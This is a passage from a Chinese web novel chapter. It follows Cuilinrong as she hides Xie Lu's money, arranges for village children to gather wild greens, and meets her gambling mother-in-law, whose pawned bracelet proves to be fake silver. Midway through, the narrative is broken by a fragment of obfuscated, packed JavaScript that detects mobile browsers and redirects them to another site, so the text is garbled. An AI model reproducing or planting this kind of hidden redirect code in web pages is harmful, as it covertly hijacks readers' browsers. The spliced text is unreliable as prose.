谢禄倒是没这么过分,“够了,垫吧垫吧就行,我也差不多要去县城了,时间来不及了。对了容娘,这个你暂时帮我保管。” 谢禄说着就塞了个钱袋子到崔林容手上,崔林容吓了一跳:“你给我保管?你又不是不知道……” “我晓得,但是我只能拜托你,牛蛋也要和我一道去,给狗蛋我肯定不放心,这次去县城要是买不上个好价钱我说不定还要去府城的,带这么些在身上不安全。” 崔林容瞟了一眼他那膀大腰圆的样子……丝毫没觉得不安全……但谢禄已经不由分说塞到了她手上,崔林容沉默了下去,不知道咋说。 她和谢禄根本就没熟悉到这个程度…… 不等她说什么,男人揉了一把来财的头,然后就灵活的翻了出去…… 崔林容无奈,只好将手上的钱袋子赶紧藏好。 心惊胆战。 - 第二天一大早,崔林容又去把钱袋翻了出来,藏在背篓最底下,她是绝对不放心放在家里的,只能带着去镇子上。 王氏今天一早居然还没回来,但崔林容也懒得管,她转头去了对面文家找李嫂子去了。 李氏在村里为人还行,不像一些闲的没事干的妇人喜欢说三道四,所以在村里人缘一直都还好。 看见崔林容,李氏有点惊讶,“容娘,你咋一大早就来了?” 崔林容笑道:“我有点事情想拜托大头和小麦。” 大头和小麦是李氏的一双儿女,小麦今年六岁,大头四岁。 李氏更惊讶了:“你找那两个猴崽子啥事?” “是这样,我现在不是去镇子上卖点野菜,这玩意便宜赚不到啥钱,就图个量大,我现在一个人还收不过来,小娃们每天都出去,要能顺带摘了给我,我给钱收啊。” 李氏懂了。 “挖个野菜本来就买不起价,你还要过一道手,咋想的?” 崔林容笑道:“不止是野菜,还有一些果子,我在一个饭馆干活,他们收这些。一斤我给你家一文钱,我赚个差价。” 一斤野菜野果在集市上也不过就这个价,但还省去了脚力,李氏又不是傻,不可能不应下这活计,再说了,这也不是啥费事的,小娃子们本来就漫山遍野地跑…… “两斤你给一文吧,你日子也过得不容易,我去把小麦叫来,你看看要啥给我家姑娘说,她大些,懂事。” 崔林容很是感激,也很感动,没想到李氏还主动压价,就凭这一点,崔林容就能确认李氏能合作。 她把自己要收的几种果子都给小麦说了,都是常见的,小麦当然认识,一口答应下来…… 崔林容放心了,背着背篓这才去了镇子上。 明月坊,她今天剥籽更是越发熟练了,不到两个时辰就剥了四斤。 二十文到手。 不知不觉就快到午时了,崔林容出了明月坊大门,这就准备赶去谢家。 可谁料到,她刚出来没几步,竟然就遇到了王氏。 崔林容顿时吓了一大跳,她第一反应是王氏来找她,被发现了……? 说实话崔林容有点腿软…… 而王氏显然也看见了她,愣了一下后快步走了过来。 “娘……?” 王氏抬头看了眼:“你活计干完了?” 崔林容:“嗯……” “成,我肚子饿了,吃饭去。” 王氏有点疲累,应是昨晚打了一晚上牌,崔林容见她没有开口刁难,心中稍微松了口气。 是她想太多了? 因着心里有点心虚,崔林容对王氏的要求没拒绝,跟着人一道去了一家面馆。 王氏张口就要了碗肉丝面。 “你点不?” 崔林容摇了摇头。 王氏倒是也不客气,大口大口就嗦了起来。 “饿死老娘了,他奶奶的,昨晚那群孙子做局,老娘输惨了。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278632|198314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 崔林容:“……早说了,打牌输赢都是常态,有赢就有输。” “放屁!那是他们做局!”王氏显然气得够呛。 崔林容也不和她争辩,反问:“那娘来镇子上干啥?” 王氏掏出一个镯子:“当了去,换钱,我就不信了,今晚还赢不回来!” 崔林容皱眉:“不到走投无路,娘还是别当首饰,况且是为了打牌这种事。” “你别管!这家你说了还不算!” 崔林容心道:她也不想管。但她的确也对现在的生活十分无奈,烦了,腻了。 她有点烦躁:“随娘吧。” 王氏哼了一声,喝了最后一口面汤。忽然盯住崔林容,“你今儿赚的钱……” 崔林容摸了两文给她,王氏盯住她的钱袋子。 崔林容十分庆幸,收到钱之后就有藏起来的习惯了,虽然她现在心里怦怦跳,因为她里衣里面十几两银子,要是被发现就全完蛋了…… 王氏哼了一声,起身就朝当铺走。 崔林容犹豫片刻,到底没跟着去,“那娘我先回了。” 王氏没理她。 崔林容转头去找狗蛋去了,今天还要学算数呢。 - 王氏的典当当然也没有那么顺利。 “啥?你说这是银包铁?你胡说啥呢!你敢骗老娘!” 当铺掌柜的皱眉:“骗你干甚,我经手的银镯子都不晓得有多少了,这重量一掂就不对,还能看走眼?你要是不信,这是磁石,你看看,能吸上去吧?!不是铁是啥!” 王氏当即就崩溃了:“好个黑心的周家人啊!我嫁到周家这么多年任劳任怨,送老娘几件首饰居然还是假货!老天爷,我不活了……我不活了啊……” 当铺不管这些,托人将王氏往外拉,免得影响他们做生意。 而就在这时候,叶家老二进来了。 叶家两兄弟,这老二显然是个脑子活的,要不然也不会从土里刨食的村里杀到镇子上做生意,听说,在县城还吃得开呢! 叶老二当然还记得王氏,看见人之后愣了一下,从旁人口中了解到了来龙去脉后,他上前拉住了王氏。 “老嫂子,出来说话,你在这闹也没啥用。” 王氏也认出了对方,上次叶家那事,最后钱都是叶老二出的。 这是个有钱的主。 王氏止了哭声,跟着叶老二走出了当铺。 叶老二上下打量了她一番,王氏的名头在石头村那是相当响亮,谁叫人的确生了一副还不错的好皮子。有句俗话说得好,半老徐娘…… 叶老二眯起眼。 “周嫂子,你可是家里缺钱?” 王氏:“咋?你能带我赚钱?” 叶老二笑了:“要是嫂子愿意,也不是不行……” 王氏眼睛一亮:“你仔细说说。” …… 崔林容今天给狗蛋做了窝窝头,顺带买了一小坛咸菜,又煮了一锅汤。 狗蛋十分捧场:“容姐姐,这咸菜是你做的吗,好好吃!” 崔林容笑了:“不是,买的。” “可我觉得你做的比它还好吃!” 崔林容笑了:“真的啊,那我改天做给你吃,嘴巴这么甜……” 狗蛋嘿嘿一笑:“我说的是事实嘛!” 两人刚吃完饭准备开始学算盘,外面传来一阵脚步声。 崔林容惊讶回头,不会吧,谢禄这么快就回来了?